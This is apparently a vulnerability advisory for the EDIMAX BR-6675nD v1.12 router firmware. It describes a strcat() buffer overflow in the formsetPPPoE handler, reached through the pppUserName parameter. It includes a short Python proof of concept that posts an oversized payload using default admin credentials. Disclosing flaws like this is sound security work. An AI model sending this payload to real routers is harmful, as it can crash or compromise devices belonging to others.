Overview

• The device's official website: https://download.edimax.com/mw/cufiles/files/download/Firmware/BR6675ND_v1.12(TaiwanOnly).zip

Affected version

BR-6675nD v1.12

Vulnerability details

The EDIMAX BR-6675nD v1.12 firmware has a buffer overflow vulnerability in the formsetPPPoE function. The Var variables receive the pppUserName parameters from a POST request. However, since the user can control the input of these variables, the statement strcat() can cause a buffer overflow.

POC

import requests

ip = "192.168.2.1"

payload = "A"*5000
data = {
    "release": "0",
    "pppUserName": payload
}
url = f'http://{ip}/goform/formsetPPPoE'

res = requests.post(url=url, data=data, auth=("admin", "1234"), verify=False)
print(res)